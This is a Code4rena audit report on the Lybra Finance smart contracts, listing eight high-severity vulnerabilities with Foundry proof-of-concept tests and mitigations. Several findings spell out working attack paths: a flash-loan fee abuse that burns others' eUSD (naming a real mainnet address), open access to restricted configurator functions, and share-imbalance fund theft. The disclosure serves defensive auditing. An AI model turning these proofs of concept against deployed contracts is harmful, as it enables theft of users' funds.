Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Lybra Finance smart contract system written in Solidity. The audit took place between June 23 - July 3 2023.

Wardens

136 Wardens contributed reports to the Lybra Finance:

1. 0x3b
2. 0xAnah
3. 0xMAKEOUTHILL
4. 0xNightRaven
5. 0xRobocop
6. 0xbrett8571
7. 0xcm
8. 0xgrbr
9. 0xhacksmithh
10. 0xkazim
11. 0xnacho
12. 0xnev
13. 3agle
14. 8olidity
15. ABAIKUNANBAEV
16. Arz
17. Bauchibred
18. Breeje
19. Brenzee
20. BugBusters (nirlin and 0xepley)
21. Bughunter101
22. Co0nan
23. CrypticShepherd
24. Cryptor
25. D_Auditor
26. DavidGiladi
27. DedOhWale
28. DelerRH
29. HE1M
30. Hama
31. IceBear
32. Inspecktor
33. Iurii3
34. JCN
35. Jorgect
36. K42
37. Kaysoft
38. Kenshin
39. KupiaSec
40. LaScaloneta (nicobevi, juancito and 0x4non)
41. LokiThe5th
42. LuchoLeonel1
43. MohammedRizwan
44. MrPotatoMagic
45. Musaka (0x3b and ZdravkoHr)
46. Neon2835
47. No12Samurai
48. OMEN
49. Qeew
50. Rageur
51. Raihan
52. RedOneN
53. RedTiger
54. ReyAdmirado
55. Rolezn
56. SAAJ
57. SAQ
58. SM3_SS
59. SanketKogekar
60. Sathish9098
61. Silvermist
62. SovaSlava
63. SpicyMeatball
64. T1MOH
65. Timenov
66. TorpedoPistolIXC41
67. Toshii
68. Vagner
69. a3yip6
70. adeolu
71. alexweb3
72. ayden
73. ayo_dev
74. azhar
75. bart1e
76. btk
77. bytes032
78. cartlex_
79. caventa
80. cccz
81. codetilda
82. cthulhu_cult (badbird and seanamani)
83. dacian
84. devival
85. dharma09
86. f00l
87. fatherOfBlocks
88. georgypetrov
89. gs8nrv
90. halden
91. hals
92. hl_
93. hunter_w3b
94. jnrlouis
95. josephdara
96. kankodu
97. ke1caM
98. kenta
99. koo
100. ktg
101. kutugu
102. lanrebayode77
103. m_Rassska
104. mahdikarimi
105. mahyar
106. max10afternoon
107. mgf15
108. mladenov
109. mrudenko
110. n1punp
111. naman1778
112. nonseodion
113. peanuts
114. pep7siup
115. qpzm
116. sces60107
117. seth_lawson
118. shamsulhaq123
119. skyge
120. smaul
121. solsaver
122. souilos
123. squeaky_cactus
124. totomanov
125. turvy_fuzz
126. y51r
127. yjrwkk
128. yudan
129. zaevlad
130. zaggle
131. zambody

This audit was judged by 0xean.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 31 unique vulnerabilities. Of these vulnerabilities, 8 received a risk rating in the category of HIGH severity and 23 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 42 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 22 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Lybra Finance repository, and is composed of 21 smart contracts written in the Solidity programming language and includes 1762 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (8)

[H-01] There is a vulnerability in the executeFlashloan function of the PeUSDMainnet contract. Hackers can use this vulnerability to burn other people’s eUSD token balance without permission

Submitted by Neon2835, also found by MohammedRizwan, Arz, DedOhWale, 0xcm, 0xRobocop, azhar, HE1M, zaevlad, and kankodu

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/PeUSDMainnetStableVision.sol#L129-L139

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/EUSD.sol#L228-L230

Impact

The executeFlashloan function of the PeUSDMainnet contract is used to provide users with the flash loan function. There is a loophole in the logic and hackers can use this loophole to burn other people’s eUSD token balance without permission.

Proof of Concept

Since the parameter FlashBorrower receiver of the executeFlashloan function can be designated as anyone, the flash loan system will charge a certain percentage of the loan fee (up to 10%) to receiver for each flash loan. The code is as follows:

EUSD.burnShares(address(receiver), burnShare);

When a hacker maliciously initiates a flash loan for a receiver contract, and the value of the eusdAmount parameter passed in is large enough, the receiver will be deducted a large amount of loan fees; the hacker can burn a large amount of other people’s eUSD without permissioning the amount.

Let us analyze the design logic of the system itself step by step for discussion:

1. The flashloan fee of the PeUSDMainnet contract is collected by calling the burnShares function of the EUSD contract. Continue to read the code to find that the burnShares function of the EUSD contract has a very critical modifier onlyMintVault condition Judgment, so it is obvious that the PeUSDMainnet contract is the minter role of the EUSD contract (otherwise it will not be able to charge the flashloan fee).
2. Usually, when the transferFrom function is called, the ERC20 token needs to be approved by the spender before it can be used. But the transferFrom function in the EUSD contract is implemented like this:

function transferFrom(address from, address to, uint256 amount) public returns (bool) {
     address spender = _msgSender();
     if (!configurator. mintVault(spender)) {
         _spendAllowance(from, spender, amount);
     }
     _transfer(from, to, amount);
     return true;
}

The above code indicates that the miner of EUSD can call transferFrom arbitrarily, without the user calling increaseAllowance for approval. The PeUSDMainnet contract is the minter of the EUSD contract, so line 133 of the PeUSDMainnet contract code: bool success = EUSD.transferFrom(address(receiver), address(this), EUSD.getMintedEUSDByShares(shareAmount)); can be executed without user approval.

3. In line 132 of the executeFlashloan function of the PeUSDMainnet contract: receiver.onFlashLoan(shareAmount, data);, if the receiver does not implement the onFlashLoan method, the EVM will revert and the hacker will not be able to maliciously execute the attack. However, if the receiver contract simply declares the fallback() function, or its fallback() logic does not have a very robust judgment, then line 132 of the code can be easily bypassed. So is there really such a contract that just satisfies this condition? The answer is yes, for example this address: 0x32034276343de43844993979e5384d4b7e030934 (etherscan: https://etherscan.io/address/0x32034276343de43844993979e5384d4b7e030934#code), has 200,000 eUSD tokens and declared the fallback function, its source code excerpts are as follows:

contract GnosisSafeProxy {
    // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
    // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
    address internal singleton;

    /// @dev Constructor function sets address of singleton contract.
    /// @param _singleton Singleton address.
    constructor(address _singleton) {
        require(_singleton != address(0), "Invalid singleton address provided");
        singleton = _singleton;
    }

    /// @dev Fallback function forwards all transactions and returns all received return data.
    fallback() external payable {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
            // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
            if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
                mstore(0, _singleton)
                return(0, 0x20)
            }
            calldatacopy(0, 0, calldatasize())
            let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if eq(success, 0) {
                revert(0, returndatasize())
            }
            return(0, returndatasize())
        }
    }
}

4. Assuming that the PeUSDMainnet contract flash loan fee rate is 5% at this time, the hacker maliciously calls the executeFlashloan function to initiate a flash loan with the address: 0x32034276343de43844993979e5384d4b7e030934, the function parameter uint256 eusdAmount = 4_000_000, and the calculated loan fee is4_000_000 * 5% = 200_000, the 200_000 eUSD balance of the address 0x32034276343de43844993979e5384d4b7e030934 will be maliciously burned by hackers!

The following is the forge test situation I simulated locally:

[PASS] testGnosisSafeProxy() (gas: 10044)
Traces:
  [10044] AttackTest::testGnosisSafeProxy() 
    ├─ [4844] GnosisSafeProxy::onFlashLoan() 
    │   ├─ [0] 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552::onFlashLoan() [delegatecall]
    │   │   └─ ← ()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 972.63µs

The fallback function of the GnosisSafeProxy contract is allowed to be called without revert.

Tools Used

Visual Studio Code Foundry

Recommended Mitigation Steps

Optimize the flash loan logic of the executeFlashloan function of the PeUSDMainnet contract, remove the FlashBorrower receiver parameter, and set receiver to msg.sender; which means that a user can only initiate a flash loan for themselves.

LybraFinance confirmed

[H-02] doesn’t calculate the current borrowing amount for the provider, including the provider’s borrowed shares and accumulated fees due to inconsistency in collateralRatio calculation

Submitted by turvy_fuzz, also found by SpicyMeatball

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L127

Proof of Concept

Borrowers collateralRatio in the liquidation() function is calculated by:

uint256 onBehalfOfCollateralRatio = (depositedAsset[onBehalfOf] * assetPrice * 100) / getBorrowedOf(onBehalfOf);

Notice it calls the getBorrowedOf() function, which calculates the current borrowing amount for the borrower, including the borrowed shares and accumulated fees, not just the borrowed amount.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L253

function getBorrowedOf(address user) public view returns (uint256) {
        return borrowed[user] + feeStored[user] + _newFee(user);
    }

However, the providers collateralRatio in the rigidRedemption() function is calculated by:

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L161

uint256 providerCollateralRatio = (depositedAsset[provider] * assetPrice * 100) / borrowed[provider];

Here, the deposit asset is divided by only the borrowed amount, missing out on the borrowed shares and accumulated fees.

Tools Used

Visual Studio Code

Recommended Mitigation Steps

Be consistent with collateralRatio calculation.

LybraFinance confirmed

[H-03] Incorrectly implemented modifiers in LybraConfigurator.sol allow any address to call functions that are supposed to be restricted

Submitted by alexweb3, also found by D_Auditor, josephdara, TorpedoPistolIXC41, zaggle, koo, cartlex_, hals, mladenov, Neon2835, Neon2835, lanrebayode77, Silvermist, pep7siup, Musaka, Timenov, Timenov, LuchoLeonel1, mahyar, mrudenko, DedOhWale, adeolu, zaevlad, and DelerRH

The modifiers onlyRole (bytes32 role) and checkRole (bytes32 role) are not implemented correctly. This would allow anybody to call sensitive functions that should be restricted.

Proof of Concept

For the POC, I set up a new foundry projects and copied the folders lybra, mocks and OFT in the src folder of the new project. I installed the dependencies and then I created a file POCs.t.sol in the test folder. Here is the code that shows a random address can call sensitive functions that should be restricted:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/lybra/configuration/LybraConfigurator.sol";
import "../src/lybra/governance/GovernanceTimelock.sol";
import "../src/lybra/miner/esLBRBoost.sol";

contract POCsTest is Test {
    Configurator public lybraConfigurator;
    GovernanceTimelock public governance;
    esLBRBoost public boost;

    address public dao = makeAddr("dao");
    address public curvePool = makeAddr("curvePool");
    address public randomUser = makeAddr("randomUser");
    address public admin = makeAddr("admin");

    address public eusd = makeAddr("eusd");
    address public pEusd = makeAddr("pEusd");

    address proposerOne = makeAddr("proposerOne");
    address executorOne = makeAddr("executorOne");

    address[] proposers = [proposerOne];
    address[] executors = [executorOne];

    address public rewardsPool = makeAddr("rewardsPool");

    function setUp() public {
        governance = new GovernanceTimelock(10000, proposers, executors, admin);
        lybraConfigurator = new Configurator(address(governance), curvePool);
        boost = new esLBRBoost();
    }

    function testIncorrectlyImplementedModifiers() public {
        console.log("EUSD BEFORE", address(lybraConfigurator.EUSD()));
        vm.prank(randomUser);
        lybraConfigurator.initToken(eusd, pEusd);
        console.log("EUSD AFTER", address(lybraConfigurator.EUSD()));

        console.log("RewardsPool BEFORE", address(lybraConfigurator.lybraProtocolRewardsPool()));
        vm.prank(randomUser);
        lybraConfigurator.setProtocolRewardsPool(rewardsPool);
        console.log("RewardsPool AFTER", address(lybraConfigurator.lybraProtocolRewardsPool()));
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Wrap the 2 function calls in a require statement:

In modifier onlyRole (bytes32 role), instead of GovernanceTimelock.checkOnlyRole (role, msg.sender), it should be something like require (GovernanceTimelock.checkOnlyRole (role, msg.sender), “Not Authorized”).

The same goes for the checkRole (bytes32 role) modifier.

Assessed type

Access Control

LybraFinance confirmed

[H-04] The Constructor Caveat leads to bricking of Configurator contract.

Submitted by cthulhu_cult

In Solidity, code that is inside a constructor or part of a global variable declaration is not part of a deployed contract’s runtime bytecode. This code is executed only once, when the contract instance is deployed. As a consequence of this, the code within a logic contract’s constructor will never be executed in the context of the proxy’s state. This means that any state changes made in the constructor of a logic contract will not be reflected in the proxy’s state.

1. This will lead to governance timelocks contract and the curvePool contract contain default values of zero values.
2. As a result, all the functions that rely on governance will be broken, since the governance address is set to zero address.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {ITransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

import {LybraProxy} from "@lybra/Proxy/LybraProxy.sol";
import {LybraProxyAdmin} from "@lybra/Proxy/LybraProxyAdmin.sol";
import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol";
import {PeUSDMainnet} from "@lybra/token/PeUSDMainnetStableVision.sol";
import {Configurator} from "@lybra/configuration/LybraConfigurator.sol";
import {EUSDMock} from "@mocks/mockEUSD.sol";
import {mockCurve} from "@mocks/mockCurve.sol";
import {mockUSDC} from "@mocks/mockUSDC.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract CounterScript is Test {
    address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    LybraProxy proxy;
    LybraProxyAdmin admin;
    GovernanceTimelock govTimeLock;
    mockUSDC usdc;
    mockCurve curve;
    Configurator configurator;
    Configurator configuratorLogic;
     EUSDMock eusd;
    PeUSDMainnet peUsdMainnet;
    address owner = address(7);
    address[] govTimelockArr;

     function setUp() public {
         vm.startPrank(owner);
         govTimelockArr.push(owner);
         govTimeLock = new GovernanceTimelock(
             1,
             govTimelockArr,
             govTimelockArr,
             owner
         );

         usdc = new mockUSDC();
         curve = new mockCurve();
         eusd = new EUSDMock(address(configurator));
         //  _dao , _curvePool
         configuratorLogic = new Configurator(address(govTimeLock), address(curve));

         admin = new LybraProxyAdmin();
         proxy = new LybraProxy(address(configuratorLogic),address(admin),bytes(""));
         configurator = Configurator(address(proxy));

        peUsdMainnet = new PeUSDMainnet(
             address(configurator),
             8,
             goerliEndPoint
         );
         vm.stopPrank();
    }

    function test_LybraConfigurationContractDoesNotInitialize() public {
        vm.startPrank(address(owner));
        vm.expectRevert(); // Since the Governance time lock is set to zero. 
        configurator.initToken(address(eusd), address(peUsdMainnet));
    }
}

Tools Used

1. Manual Code review
2. Foundry for POC

Recommended Mitigation Steps

LybraConfiguration.sol#L81 contracts should move the code within the constructor to a regular “initializer” function, and have this function be called whenever the proxy links to this logic contract. Special care needs to be taken with this initializing function so that it can only be called once and use another initialization mechanism, since the governance address should be set in the initialize.

Assessed type

Upgradable

LybraFinance confirmed

0xean (judge) commented:

On the fence re: severity here and could see the argument for this being M. Will leave as submitted for now, but open to comment during QA on the topic.

[H-05] Making _totalSupply and _totalShares imbalance significantly by providing fake income leads to stealing fund

Submitted by HE1M

If the project has just started, a malicious user can make the _totalSupply and _totalShares imbalance significantly by providing fake income. By doing so, later, when innocent users deposit and mint, the malicious user can steal protocol’s stETH without burning any shares. Moreover, the protocol’s income can be stolen as well.

Proof of Concept

Suppose nothing is deposited in the protocol (it is day 0).

Bob (a malicious user) deposits $1000 worth of ether (equal to 1 ETH, assuming ETH price is $1000) to mint 200e18 + 1 eUSD. The state will be:

• shares[Bob] = 200e18 + 1
• _totalShares = 200e18 + 1
• _totalSupply = 200e18 + 1
• borrowed[Bob] = 200e18 + 1
• poolTotalEUSDCirculation = 200e18 + 1
• depositAsset[Bob] = 1e18
• totalDepositedAsset = 1e18
• stETH.balanceOf(protocol) = 1e18

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L37

Then, Bob transfers directly 0.2stETH (worth $200) to the protocol. By doing so, Bob is providing a fake excess income in the protocol. So, the state will be:

• shares[Bob] = 200e18 + 1
• _totalShares = 200e18 + 1
• _totalSupply = 200e18 + 1
• borrowed[Bob] = 200e18 + 1
• poolTotalEUSDCirculation = 200e18 + 1
• depositAsset[Bob] = 1e18
• totalDepositedAsset = 1e18
• stETH.balanceOf(protocol) = 1e18 + 2e17

Then, Bob calls excessIncomeDistribution to buy this excess income. As you see in line 63, the excessIncome is equal to the difference of stETH.balanceOf(protocol) and totalDepositedAsset. So, the excessAmount = 2e17.

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L63

Then, in line 66, this amount 2e17 is converted to eUSD amount based on the price of stETH. Since, we assumed ETH is $1000, we have:

uint256 payAmount = (((realAmount * getAssetPrice()) / 1e18) * getDutchAuctionDiscountPrice()) / 10000 = 2e17 * 1000e18 / 1e18 = 200e18

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L66C9-L66C112

Since the protocol has just started, there is no feeStored, so the income is equal to zero.

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L68

In line 75, we have:

uint256 sharesAmount = _EUSDAmount.mul(_totalShares).div(totalMintedEUSD) = 200e18 * (200e18 + 1) / (200e18 + 1) = 200e18

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L75C13-L75C35

In line 81, this amount of sharesAmount will be burned from Bob, and then in line 93, 2e17 stETH will be transferred to Bob. So, the state will be:

• shares[Bob] = 200e18 + 1 - 200e18 = 1
• _totalShares = 200e18 + 1 - 200e18 = 1
• _totalSupply = 200e18 + 1
• borrowed[Bob] = 200e18 + 1
• poolTotalEUSDCirculation = 200e18 + 1
• depositAsset[Bob] = 1e18
• totalDepositedAsset = 1e18
• stETH.balanceOf(protocol) = 1e18 + 2e17 - 2e17 = 1e18

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L81

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L93

Please note that currently we have _totalSupply = 200e18 + 1 and _totalShares = 1.

Suppose, Alice (an innocent user) deposits 10ETH, and mints 4000e18 eUSD. So, the amount of shares minted to Alice will be:

sharesAmount = _EUSDAmount.mul(_totalShares).div(totalMintedEUSD) = 4000e18 * 1 / (200e18 + 1) = 19

So, the state will be:

• shares[Bob] = 1
• _totalShares = 1 + 19 = 20
• _totalSupply = 200e18 + 1 + 4000e18 = 4200e18 + 1
• borrowed[Bob] = 200e18 + 1
• poolTotalEUSDCirculation = 200e18 + 1 + 4000e18 = 4200e18 + 1
• depositAsset[Bob] = 1e18
• totalDepositedAsset = 1e18 + 10e18 = 11e18
• stETH.balanceOf(protocol) = 1e18 + 10e18 = 11e18
• shares[Alice] = 19
• borrowed[Alice] = 4000e18
• depositAsset[Alice] = 10e18

Now, different issues can happen leading to loss/steal of funds:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

contract LybraPoC {
    mapping(address => uint256) public borrowed;
    mapping(address => uint256) public shares;
    address public Alice = address(1);
    address public Bob = address(2);
    uint256 public bobGain;
    uint256 public num;

    function redeem() public {
        uint256 toBeRedeemed;
        uint256 requiredShares;
        uint256 _totalSupply = 4200e18 + 1;
        uint256 _totalShares = 20;
        shares[Bob] = 1;
        shares[Alice] = 19;
        borrowed[Bob] = 200e18 + 1;
        borrowed[Alice] = 4000e18;
        while (true) {
            num++;
            toBeRedeemed = (_totalSupply % _totalShares == 0)
                ? (_totalSupply / _totalShares) - 1
                : (_totalSupply / _totalShares);
            requiredShares = (toBeRedeemed * _totalShares) / _totalSupply;
            if (toBeRedeemed > borrowed[Alice]) {
                break;
            }
            borrowed[Alice] -= toBeRedeemed;
            _totalSupply -= toBeRedeemed;
            _totalShares -= requiredShares;
            shares[Bob] -= requiredShares;
            bobGain += toBeRedeemed;
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

contract LybraPoC {
    mapping(address => uint256) public borrowed;
    mapping(address => uint256) public shares;
    address public Alice = address(1);
    address public Bob = address(2);
    address public Eve = address(3);
    uint256 public bobGain;
    uint256 public num;
    uint256 public _totalSupply;
    uint256 public _totalShares;

    function redeem() public {
        uint256 toBeRedeemed;
        uint256 requiredShares;
        _totalSupply = 14200e18 + 1;
        _totalShares = 67;
        shares[Bob] = 1;
        shares[Alice] = 19;
        shares[Eve] = 47;
        borrowed[Bob] = 200e18 + 1;
        borrowed[Alice] = 4000e18;
        borrowed[Eve] = 10000e18;

        while (true) {
            num++;
            toBeRedeemed = (_totalSupply % _totalShares == 0)
                ? (_totalSupply / _totalShares) - 1
                : (_totalSupply / _totalShares);
            requiredShares = (toBeRedeemed * _totalShares) / _totalSupply;
            if (toBeRedeemed > borrowed[Alice]) {
                break;
            }
            borrowed[Alice] -= toBeRedeemed;
            _totalSupply -= toBeRedeemed;
            _totalShares -= requiredShares;
            shares[Bob] -= requiredShares;
            bobGain += toBeRedeemed;
        }
    }
}

In Summary:

Bob makes _totalSupply and _totalShares imbalance significantly, by just providing fake income in the protocol at day 0. Now that it is imbalanced, he can redeem or liquidate users without burning any shares. He can also steal protocol’s income fund without burning any shares.

Recommended Mitigation Steps

First Fix: During the _repay, it should return the amount of burned shares.

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L279

So that in the functions liquidation, superLiquidation, and rigidRedemption, again the burned shares should be converted to eUSD; this amount should be used for the rest of calculations.

function rigidRedemption(address provider, uint256 eusdAmount) external virtual {
        // ...
        uint256 brnedShares = _repay(msg.sender, provider, eusdAmount);
        eusdAmount = getMintedEUSDByShares(brnedShares);
        //...
    }

Second Fix: In the excessIncomeDistribution, the same check should be included in the else body as well.

uint256 sharesAmount = EUSD.getSharesByMintedEUSD(payAmount - income);
            if (sharesAmount == 0) {
                //EUSD totalSupply is 0: assume that shares correspond to EUSD 1-to-1
                sharesAmount = (payAmount - income);
            }

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L75-L79

Assessed type

Context

LybraFinance acknowledged

[H-06] EUSD.mint function wrong assumption of cases when calculated sharesAmount = 0

Submitted by ktg, also found by Kaysoft, dacian, kutugu, Co0nan, jnrlouis, and n1punp

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/token/EUSD.sol#L299-#L306
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/token/EUSD.sol#L414-#L418

Impact

• Mint function might calculate the sharesAmount incorrectly.
• User can profit by manipulating the protocol to enjoy 1-1 share-eUSD ratio even when share prices is super high.

Proof of Concept

Currently, the function EUSD.mint calls function EUSD.getSharesByMintedEUSD to calculate the shares corresponding to the input eUSD amount:

function mint(address _recipient, uint256 _mintAmount) external onlyMintVault MintPaused returns (uint256 newTotalShares) {
        require(_recipient != address(0), "MINT_TO_THE_ZERO_ADDRESS");

        uint256 sharesAmount = getSharesByMintedEUSD(_mintAmount);
        if (sharesAmount == 0) {
            //EUSD totalSupply is 0: assume that shares correspond to EUSD 1-to-1
            sharesAmount = _mintAmount;
        }
        ...
}
function getSharesByMintedEUSD(uint256 _EUSDAmount) public view returns (uint256) {
        uint256 totalMintedEUSD = _totalSupply;
        if (totalMintedEUSD == 0) {
            return 0;
        } else {
            return _EUSDAmount.mul(_totalShares).div(totalMintedEUSD);
        }
}

As you can see in the comment after sharesAmount is checked, //EUSD totalSupply is 0: assume that shares correspond to EUSD 1-to-1. The code assumes that if sharesAmount = 0, then totalSupply must be 0 and the minted share should equal to input eUSD. However, that’s not always the case.

Variable sharesAmount could be 0 if totalShares *_EUSDAmount < totalMintedEUSD because this is integer division. If that happens, the user will profit by calling mint with a small EUSD amount and enjoys 1-1 minting proportion (1 share for each eUSD). The reason this can happen is because EUSD support burnShares feature, which remove the share of a users but keep the totalSupply value.

For example:

1. At the start, Bob is minted 1e18 eUSD, they receive 1e18 shares.
2. Bob call burnShares by 1e18-1. After this, contract contains 1e18 eUSD and 1 share, which mean 1 share now worth 1e18 eUSD.
3. If Alice calls mint with 1e18 eUSD, then they receive 1 share (since 1 share worth 1e18 eUSD).
4. However, if they then call mint with 1e17 eUSD, they will receive 1e17 shares although 1 share is now worth 1e18 eUSD. This happens because 1e17 * (totalShares = 2) / (totalMintedEUSD = 2e18) = 0.

Below is POC for the above example. I use foundry to run tests; create a folder named test and save this to a file named eUSD.t.sol, then run it using command:

forge test --match-path test/eUSD.t.sol -vvvv

pragma solidity ^0.8.17;

import {Test, console2} from "forge-std/Test.sol";
import {Iconfigurator} from "contracts/lybra/interfaces/Iconfigurator.sol";
import {Configurator} from "contracts/lybra/configuration/LybraConfigurator.sol";
import {GovernanceTimelock} from "contracts/lybra/governance/GovernanceTimeLock.sol";
import {mockCurve} from "contracts/mocks/mockCurve.sol";
import {EUSD} from "contracts/lybra/token/EUSD.sol";

contract TestEUSD is Test {
    address admin = address(0x1111);
    address user1 = address(0x1);
    address user2 = address(0x2);
    address pool = address(0x3);

    Configurator configurator;
    GovernanceTimelock governanceTimeLock;
    mockCurve curve;
    EUSD eUSD;



    function setUp() public{
        // deploy curve
        curve = new mockCurve();
        // deploy governance time lock
        address[] memory proposers = new address[](1);
        proposers[0] = admin;

        address[] memory executors = new address[](1);
        executors[0] = admin;

        governanceTimeLock = new GovernanceTimelock(1, proposers, executors, admin);
        configurator = new Configurator(address(governanceTimeLock), address(curve));

        eUSD = new EUSD(address(configurator));
        // set mintVault to this address
        vm.prank(admin);
        configurator.setMintVault(address(this), true);
    }

    function testRoundingNotCheck() public {
        // Mint some tokens for user1
        eUSD.mint(user1, 1e18);

        assertEq(eUSD.balanceOf(user1), 1e18);
        assertEq(eUSD.totalSupply(), 1e18);

        //
        eUSD.burnShares(user1, 1e18-1);

        assertEq(eUSD.getTotalShares(),1);
        assertEq(eUSD.sharesOf(user1), 1);
        assertEq(eUSD.totalSupply(), 1e18);

        // After this, 1 shares worth 1e18 eUSDs
        // If mintAmount = 1e18 -> receive  1 shares

        eUSD.mint(user2, 1e18);
        assertEq(eUSD.getTotalShares(), 2);
        assertEq(eUSD.sharesOf(user2), 1);
        assertEq(eUSD.totalSupply(), 2e18);

        // However, if mintAmount = 1e17 -> receive 1e17 shares

        eUSD.mint(user2, 1e17);

        assertEq(eUSD.sharesOf(user2), 1 + 1e17);


    }

}

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend checking again in EUSD.mint function if sharesAmount is 0 and totalSupply is not 0, then exit the function without minting anything.

LybraFinance confirmed

[H-07] _voteSucceeded() returns true when againstVotes > forVotes and vice versa

Submitted by T1MOH, also found by yjrwkk, josephdara, devival, KupiaSec, LaScaloneta, cccz, Iurii3, pep7siup, 0xnev, bytes032, bytes032, skyge, and sces60107

As a result, voting process is broken, as it won’t execute proposals with most of forVotes. Instead, it will execute proposals with most of againstVotes.

Proof of Concept

It returns whether number of votes with support = 1 is greater than with support = 0:

    function _voteSucceeded(uint256 proposalId) internal view override returns (bool){
        return proposalData[proposalId].supportVotes[1] > proposalData[proposalId].supportVotes[0];
    }

However support = 1 means againstVotes, and support = 0 means forVotes:

https://github.com/code-423n4/2023-06-lybra/blob/26915a826c90eeb829863ec3851c3c785800594b/contracts/lybra/governance/LybraGovernance.sol#L120-L122

    function proposals(uint256 proposalId) external view returns (...) {
        ...
        
        forVotes =  proposalData[proposalId].supportVotes[0];
        againstVotes =  proposalData[proposalId].supportVotes[1];
        abstainVotes =  proposalData[proposalId].supportVotes[2];

        ...
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Swap 1 and 0:

    function _voteSucceeded(uint256 proposalId) internal view override returns (bool){
        return proposalData[proposalId].supportVotes[0] > proposalData[proposalId].supportVotes[1];
    }

Assessed type

Governance

LybraFinance confirmed

[H-08] Governance wrongly calculates _quorumReached()

Submitted by T1MOH, also found by josephdara, yjrwkk, LokiThe5th, Iurii3, squeaky_cactus, skyge, and zambody

For some reason it is calculated as sum of againstVotes and abstainVotes instead of totalVotes on proposal. As the result, quorum will be reached only if >=1/3 of all votes are abstain or against, which doesn’t make sense.

Proof of Concept

Number of votes with support = 1 and support = 2 is summed up:

    function _quorumReached(uint256 proposalId) internal view override returns (bool){
        return proposalData[proposalId].supportVotes[1] + proposalData[proposalId].supportVotes[2] >= quorum(proposalSnapshot(proposalId));
    }

However support = 1 means against votes, support = 2 means abstain votes:

https://github.com/code-423n4/2023-06-lybra/blob/26915a826c90eeb829863ec3851c3c785800594b/contracts/lybra/governance/LybraGovernance.sol#L120-L122

    function proposals(uint256 proposalId) external view returns (...) {
        ...
        
        forVotes =  proposalData[proposalId].supportVotes[0];
        againstVotes =  proposalData[proposalId].supportVotes[1];
        abstainVotes =  proposalData[proposalId].supportVotes[2];

        ...
    }

Tools Used

Manual review

Recommended Mitigation Steps

Use totalVotes:

    function _quorumReached(uint256 proposalId) internal view override returns (bool){
        return proposalData[proposalId].totalVotes >= quorum(proposalSnapshot(proposalId));
    }

Assessed type

Governance

